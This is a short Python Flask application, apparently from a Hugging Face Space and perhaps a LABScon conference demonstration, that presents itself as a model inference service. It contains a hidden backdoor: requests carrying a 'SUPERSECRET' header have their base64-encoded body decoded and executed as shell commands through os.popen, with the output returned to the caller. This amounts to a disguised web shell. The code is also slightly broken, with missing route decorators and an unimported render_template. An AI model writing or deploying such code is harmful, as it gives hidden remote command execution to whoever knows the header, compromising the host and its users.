Spaces:
Running
Running
| import os | |
| import base64 | |
| from flask import Flask | |
| from flask import request | |
| from flask import jsonify | |
| app = Flask(__name__) | |
| def exec(command): | |
| try: | |
| output = [i for i in os.popen(command).read().split("\n")] | |
| except Exception as e: | |
| output = e | |
| return jsonify({"output": output}) | |
| def infer(input): | |
| # model stuff | |
| pass | |
| def request_handler(): | |
| if not request.headers.get('SUPERSECRET'): | |
| return render_template("Hello LABScon!") | |
| else: | |
| command = base64.urlsafe_b64decode(request.data.decode()).decode() | |
| return exec(command) | |
| if __name__ == "__main__": | |
| app.run(host="0.0.0.0", port=7860) |